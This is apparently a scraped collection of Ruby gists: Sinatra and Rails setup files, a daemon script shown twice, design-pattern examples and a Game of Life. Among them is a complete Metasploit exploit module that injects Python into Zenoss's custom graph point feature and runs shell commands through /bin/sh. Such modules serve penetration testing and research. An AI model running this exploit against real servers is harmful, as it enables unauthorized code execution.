ruby 的Gemfile

swc_application.rb
require 'bundler'
Bundler.require

# Helpers
require './lib/render_partial'

class SwcApplication < Sinatra::Base
  set :root,          File.dirname(__FILE__)
  set :assets,        Sprockets::Environment.new(root)
  set :precompile,    [ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
  set :assets_prefix, '/assets'
  set :digest_assets, false
  set(:assets_path)   { File.join public_folder, assets_prefix }

  configure do
    # Setup Sprockets
    %w{javascripts stylesheets images}.each do |type|
      assets.append_path "assets/#{type}"
      assets.append_path Compass::Frameworks['bootstrap'].templates_directory + "/../vendor/assets/#{type}"
    end
    assets.append_path 'assets/font'

    # Configure Sprockets::Helpers (if necessary)
    Sprockets::Helpers.configure do |config|
      config.environment = assets
      config.prefix      = assets_prefix
      config.digest      = digest_assets
      config.public_path = public_folder
    end
    Sprockets::Sass.add_sass_functions = false

    set :haml, { :format => :html5 }
  end

  before do
    expires 500, :public, :must_revalidate
  end

  get '/' do
    haml :index, :layout => :'layouts/application'
  end

  helpers do
    include Sprockets::Helpers
    include RenderPartial
  end

end
config.ru
require './swc_application'

use Rack::Cache, verbose: false

map SwcApplication.assets_prefix do
  run SwcApplication.assets
end

map '/' do
  run SwcApplication
end
application.haml
!!!
%html
  %head
    %meta{:charset => "utf-8"}
    %title Sinatra, sprockets, compass, bootstrap-sass playing together
    %link{ rel: 'stylesheet', href: stylesheet_path('application.css') }/

  %body
    .container
      = yield
application.css.scss
@import "bootstrap";

body {
  padding-top: 80px;
}
Gemfile
source :rubygems

gem 'shotgun', :group=>:development

gem 'rack-cache'
gem 'sinatra', :require => 'sinatra/base'
gem 'sinatra-support'

gem 'haml'

gem 'sprockets'
gem 'sprockets-helpers'
gem 'sprockets-sass'

gem 'compass'
gem 'bootstrap-sass'
gem 'coffee-script'

gem 'uglifier'

ruby 确定是否由机器人发出请求。来自http://stackoverflow.com/questions/5882264/ruby-on-rails-how-to-determine-if-a-request-

确定是否由机器人发出请求。来自http://stackoverflow.com/questions/5882264/ruby-on-rails-how-to-determine-if-a-request-was-made-by-a-robot-or-search-engin

match_user_agent.rb
request.env["HTTP_USER_AGENT"].match(/\(.*https?:\/\/.*\)/)

ruby as3_annotation_parser.rb

as3_annotation_parser.rb
# Used to parse ActionScript style annotations
# [Annotation(key="value",foo="bar")]
# Where Annotation is the name and key and foo are attribute names.
# Quick string matching, does not create an "Annotation Object"
# for now, though that would be an improvement.
class AS3AnnotationParser
  #Does the given annotation exist in the provided string?
  def self.has_annotation (contents, name)
    contents.match(/\[#{name}[^\]]?+\]/) != nil
  end

  #Get the annotation block
  def self.get_annotation (contents, name)
    contents.match(/\[#{name}[^\]]+\]/).to_s
  end

  #Parse out a value based on the given key
  #Annotation block passed in as a string
  def self.get_annotation_attribute (annotation, attr_name)
    attributes = annotation.scan(/(\w+)\s?\=\s?\"([^\"]+)\"/)
    attributes.each_with_index {|e, i|
      if e[0] === attr_name
        return e[1]
      end
    }
    return nil
  end
end

ruby daemon.rb

exec.rb
#!/usr/bin/env jruby
#
#

while true 
  puts 'in loop'
  sleep 2.5
end
daemon.rb
#!/usr/bin/env jruby
#
#

require 'rubygems'
require 'spoon'

EXEC      = '/tmp/exec.rb'
PID_PATH  = '/tmp/exec.pid'
WORK_PATH = '/tmp/'

def create_pid(pid)
  begin
    open(PID_PATH, 'w') do |f|
      f.puts pid
    end
  rescue => e
    STDERR.puts "Error: Unable to open #{PID_PATH} for writing:\n\t" +
        "(#{e.class}) #{e.message}"
    exit!
  end
end

def get_pid
  pid = false
  begin
    open(PID_PATH, 'r') do |f|
      pid = f.readline
      pid = pid.to_s.gsub(/[^0-9]/,'')
    end
  rescue => e
    STDERR.puts "Error: Unable to open #{PID_PATH} for reading:\n\t" +
        "(#{e.class}) #{e.message}"
  end

  pid.to_i
end

def remove_pidfile
 begin
   File.unlink(PID_PATH)
  rescue => e
    STDERR.puts "ERROR: Unable to unlink #{path}:\n\t" +
      "(#{e.class}) #{e.message}"
    exit
  end
end

def process_exists?
  begin
    pid = get_pid
    return false unless pid
    Process.kill(0, pid)
    true
  rescue Errno::ESRCH, TypeError # "PID is NOT running or is zombied
    false
  rescue Errno::EPERM
    STDERR.puts "No permission to query #{pid}!";
  rescue => e
    STDERR.puts "(#{e.class}) #{e.message}:\n\t" +
      "Unable to determine status for #{pid}."
    false
  end
end

def stop
  begin
    pid = get_pid
    STDERR.puts "pid : #{pid}"
    while true do
      Process.kill("TERM", pid)
      Process.wait(pid)
      sleep(0.1)
    end
    puts "here"
  rescue Errno::ESRCH # no more process to kill
    remove_pidfile
    STDOUT.puts 'Stopped the process'
  rescue => e
    STDERR.puts "unable to terminate process: (#{e.class}) #{e.message}"
  end
end

def start
  #if process_exists?
  #  STDERR.puts "The process #{EXEC} already running. Restarting the process"
  #  stop
  #end
  pid = Spoon.spawnp EXEC, *ARGV
  create_pid(pid)
  Process.setsid
  #at_exit do
  #  remove_pidfile
  #end

  Dir::chdir(WORK_PATH)
  File::umask(0)
  #STDIN.reopen("/dev/null", 'r')
  #STDOUT.reopen("/dev/null", "w")
  #STDERR.reopen("/dev/null", "w")
end

if ARGV[0] == 'start'
  start
elsif ARGV[0] == 'stop'
  stop
elsif ARGV[0] == 'restart'
  stop
  start
else
  STDERR.puts "Usage: tts_main.rb <start|stop|restart>"
  exit!
end


ruby daemon.rb

exec.rb
#!/usr/bin/env jruby
#
#

while true 
  puts 'in loop'
  sleep 2.5
end
daemon.rb
#!/usr/bin/env jruby
#
#

require 'rubygems'
require 'spoon'

EXEC      = '/tmp/exec.rb'
PID_PATH  = '/tmp/exec.pid'
WORK_PATH = '/tmp/'

def create_pid(pid)
  begin
    open(PID_PATH, 'w') do |f|
      f.puts pid
    end
  rescue => e
    STDERR.puts "Error: Unable to open #{PID_PATH} for writing:\n\t" +
        "(#{e.class}) #{e.message}"
    exit!
  end
end

def get_pid
  pid = false
  begin
    open(PID_PATH, 'r') do |f|
      pid = f.readline
      pid = pid.to_s.gsub(/[^0-9]/,'')
    end
  rescue => e
    STDERR.puts "Error: Unable to open #{PID_PATH} for reading:\n\t" +
        "(#{e.class}) #{e.message}"
  end

  pid.to_i
end

def remove_pidfile
 begin
   File.unlink(PID_PATH)
  rescue => e
    STDERR.puts "ERROR: Unable to unlink #{path}:\n\t" +
      "(#{e.class}) #{e.message}"
    exit
  end
end

def process_exists?
  begin
    pid = get_pid
    return false unless pid
    Process.kill(0, pid)
    true
  rescue Errno::ESRCH, TypeError # "PID is NOT running or is zombied
    false
  rescue Errno::EPERM
    STDERR.puts "No permission to query #{pid}!";
  rescue => e
    STDERR.puts "(#{e.class}) #{e.message}:\n\t" +
      "Unable to determine status for #{pid}."
    false
  end
end

def stop
  begin
    pid = get_pid
    STDERR.puts "pid : #{pid}"
    while true do
      Process.kill("TERM", pid)
      Process.wait(pid)
      sleep(0.1)
    end
    puts "here"
  rescue Errno::ESRCH # no more process to kill
    remove_pidfile
    STDOUT.puts 'Stopped the process'
  rescue => e
    STDERR.puts "unable to terminate process: (#{e.class}) #{e.message}"
  end
end

def start
  #if process_exists?
  #  STDERR.puts "The process #{EXEC} already running. Restarting the process"
  #  stop
  #end
  pid = Spoon.spawnp EXEC, *ARGV
  create_pid(pid)
  Process.setsid
  #at_exit do
  #  remove_pidfile
  #end

  Dir::chdir(WORK_PATH)
  File::umask(0)
  #STDIN.reopen("/dev/null", 'r')
  #STDOUT.reopen("/dev/null", "w")
  #STDERR.reopen("/dev/null", "w")
end

if ARGV[0] == 'start'
  start
elsif ARGV[0] == 'stop'
  stop
elsif ARGV[0] == 'restart'
  stop
  start
else
  STDERR.puts "Usage: tts_main.rb <start|stop|restart>"
  exit!
end


ruby Zenoss自定义图形点Python注入

Zenoss自定义图形点Python注入

zenoss_graph_pt.rb
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerBourne

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zenoss Custom Graph Point Python Injection',
      'Description'    => %q{
        This module executes Python code on a Zenoss server as an
        authenticated user with the MANAGE_DMD privilege.  This privilege
        is by default associated with the "ZenManager" and "Manager"
        roles. It takes advantage of an unsanitized string which gets
        passed to the Python exec function.

        The vulnerability exists within the
        GraphDefinition.manage_addCustomGraphPoint method in Zenoss Core
        versions up to and including 4.2.5.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'Platform'       => %w{ python linux },
      'Arch'           => [ ARCH_PYTHON, ARCH_X86, ARCH_X86_64 ],
      'References'     => [
        #[ 'CVE', '' ],
        #[ 'EDB', '' ],
        #[ 'URL', '' ],
      ],
      'DefaultOptions' =>
        {
          'PrependFork' => 'true',
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'           => 4096,
          'DisableNops'     => true,
        },
      'Targets'        =>
        [
          [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],
          [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Aug 28 2013'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
        OptString.new('TARGETURI', [ true,  'The path to zenoss', '/zport/' ]),
      ], self.class)
  end

  def execute_python(python)
    data = {
      'action' => 'TemplateRouter',
      'method' => 'addCustomToGraph',
      'data' => [{
        'graphUid' => '/zport/dmd/Devices/Server/SSH/Linux/rrdTemplates/Device/graphDefs/Free Swap',
        'customId' => rand_text_alphanumeric(4 + rand(6)),
        'customType' => "os; #{python}"
      }],
      'type' => 'rpc',
      'tid' => 111
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, 'dmd', 'template_router'),
      'ctype'     => 'application/json',
      'cookie'    => @cookies,
      'data'      => JSON.unparse(data)
    })
    if not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Python execution failed')
    end

    unless res.body.include?('SyntaxError: invalid syntax')
      fail_with(Failure::Unknown, 'Python execution failed')
    end
  end

  def execute_command(cmd, opts = {})
    python = 'import subprocess; '
    python << "subprocess.Popen([\"/bin/sh\", \"-c\", \"#{cmd}\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait(); "
    execute_python(python)
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    @uri.path << "/" if @uri.path[-1, 1] != "/"

    print_status('Logging in...')
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, 'acl_users', 'cookieAuthHelper', 'login'),
      'vars_post' =>
        {
          'submitted' => 'true',
          '__ac_name' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
          '__ac_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')
        }
    })
    if not (res and res.code == 302)
      fail_with(Failure::NoAccess, 'Login failed')
    end
    @cookies = res.get_cookies

    case target['Arch']
    when ARCH_PYTHON
      print_status("Executing Python code")
      execute_python(payload.encoded)
    else
      print_status("Executing command stager")
      execute_cmdstager({:linemax => 350})
    end
  end
end

ruby active_dispatch_http_upload_file_emulation与Net :: HTTP :: Persistent连接并通过http拉入文件。

active_dispatch_http_upload_file_emulation与Net :: HTTP :: Persistent连接并通过http拉入文件。

active_dispatch_http_upload_file_emulation.rb
uri = URI 'http://1.bp.blogspot.com/-1bMuoR67oxo/TwufbSRhrrI/AAAAAAAAALE/uDGLAaynSJ0/s400/Profiles+in+Search+2.png'
http = Net::HTTP::Persistent.new 'my_app_name'
response = http.request uri

data = response.body

file_binary_expected = open('http://milushov.ru/bg.jpg').read
file = ActionDispatch::Http::UploadedFile.new(:tempfile => file_binary_expected,
        :filename => File.basename(file_binary_expected))

ruby 的Gemfile

Gemfile
source 'https://rubygems.org'

# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
gem 'rails', '4.0.0'

# Use sqlite3 as the database for Active Record
gem 'sqlite3'

# Use SCSS for stylesheets
gem 'sass-rails', '~> 4.0.0'

# Use Uglifier as compressor for JavaScript assets
gem 'uglifier', '>= 1.3.0'

# Use CoffeeScript for .js.coffee assets and views
gem 'coffee-rails', '~> 4.0.0'

# See https://github.com/sstephenson/execjs#readme for more supported runtimes
# gem 'therubyracer', platforms: :ruby

# Use jquery as the JavaScript library
gem 'jquery-rails'

# Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
gem 'turbolinks'

# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
gem 'jbuilder', '~> 1.2'

group :doc do
  # bundle exec rake doc:rails generates the API under doc/api.
  gem 'sdoc', require: false
end

# Use ActiveModel has_secure_password
# gem 'bcrypt-ruby', '~> 3.0.0'

# Use unicorn as the app server
# gem 'unicorn'

# Use Capistrano for deployment
# gem 'capistrano', group: :development

# Use debugger
# gem 'debugger', group: [:development, :test]

ruby 装饰器与表单对象与服务对象?

装饰器与表单对象与服务对象?

1_decorator.rb
class FacebookCommentNotifer
  def initialize(comment)
    @comment = comment
  end

  def save
    @comment.save && post_to_wall
  end

  private

  def post_to_wall
    Facebook.post(title: @comment.title, user: @comment.author)
  end
end

class CommentsController < ApplicatinController
  def create
    @comment = Comment.new(params[:comment])
    if FacebookCommentNotifer.new(@comment).save
      redirect_to blog_path, notice: "Your comment was posted."
    else
      render "new"
    end
  end
end
2_form_object.rb
class CommentForm
  include ActiveModel::Model

  attr_accessor :title, :author

  # validations

  def submit(params)
    return false unless valid?

    comment = create_comment(params)
    post_to_wall(comment)
    true
  end

  private

  def create_comment(params)
    Comment.create(params)
  end

  def post_to_wall(comment)
    Facebook.post(title: comment.title, user: comment.author)
  end
end

class CommentsController < ApplicatinController
  def create
    @comment_form = CommentForm.new
    if @comment_form.submit(params[:comment])
      redirect_to blog_path, notice: "Your comment was posted."
    else
      render "new"
    end
  end
end
3_service_object.rb
class CommentNotifier
  def self.create(params)
    comment = Comment.new(params)
    if comment.save
      Facebook.post(title: comment.title, user: comment.author)
    end

    comment
  end
end

class CommentsController < ApplicatinController
  def create
    @comment = CommentNotifier.create(params[:comment])
    if @comment.persisted?
      redirect_to blog_path, notice: "Your comment was posted."
    else
      render "new"
    end
  end
end

ruby README.md

README.md
Game of Life
============

An implementation of Conway's [Game of Life](http://en.wikipedia.org/wiki/Conway's_Game_of_Life) in 140 characters of Ruby.

Author
------

Created by Simon Ernst ([@sier](http://twitter.com/sier)).

Thanks to [@aemkei](http://twitter.com/aemkei) for feedback and inspiration!
conway.rb
life=->g,s{(0..s*s-1).map{|i|->n{n==3||(g[i]&&n==2)||nil}[[g[i-s-1],g[i-s],g[i-s+1],g[i-1],g[i+1],g[i+s-1],g[i+s],g[i+s+1]].compact.count]}}
demonstration.rb
# The code with some animation logic for demonstration.
#
life=->g,s{(0..s*s-1).map{|i|->n{n==3||(g[i]&&n==2)||nil}[[g[i-s-1],g[i-s],g[i-s+1],g[i-1],g[i+1],g[i+s-1],g[i+s],g[i+s+1]].compact.count]}}

size = 20
grid = (1..size*size).map { rand(0..1)==1 ? 1 : nil }

while true do
  system 'clear'
  grid = life[grid, size]
  (0..size-1).each do |y|
    (0..size-1).each do |x|
      print "#{(grid[x+(y*size)] ? 'O' : '.')}"
    end
    puts
  end
  sleep 0.1
end
expanded.rb
# Expanded version for better readability.
#
life = lambda do |grid, size|
  (0..size*size-1).map do |i|
    lambda do |neighbours|
      neighbours == 3 || ( grid[i] && neighbours == 2 )|| nil
    end.call (
      [
        grid[i-size-1], grid[i-size], grid[i-size+1],
        grid[i-1],                    grid[i+1],
        grid[i+size-1], grid[i+size], grid[i+size+1]
      ].compact.count
    )
  end
end
experimentation.rb
# Small rewrite of the original code to support independent x and y values.
# Doesn't fit in 140 chars anymore thought.
#
life = lambda do |grid, x, y|
  (0..x*y-1).map do |i|
    lambda do |neighbours|
      neighbours == 3 || ( grid[i] && neighbours == 2 )|| nil
    end.call (
      [
        grid[i-x-1], grid[i-x], grid[i-x+1],
        grid[i-1],              grid[i+1],
        grid[i+x-1], grid[i+x], grid[i+x+1]
      ].compact.count
    )
  end
end

x = 80
y = 20
grid = (1..x*y).map { rand(0..1)==1 ? 1 : nil }

while true do
  system 'clear'
  grid = life[grid, x, y]
  (0..y-1).each do |yi|
    (0..x-1).each do |xi|
      print "#{(grid[xi+(yi*x)] ? 'O' : '.')}"
    end
    puts
  end
  sleep 0.1
end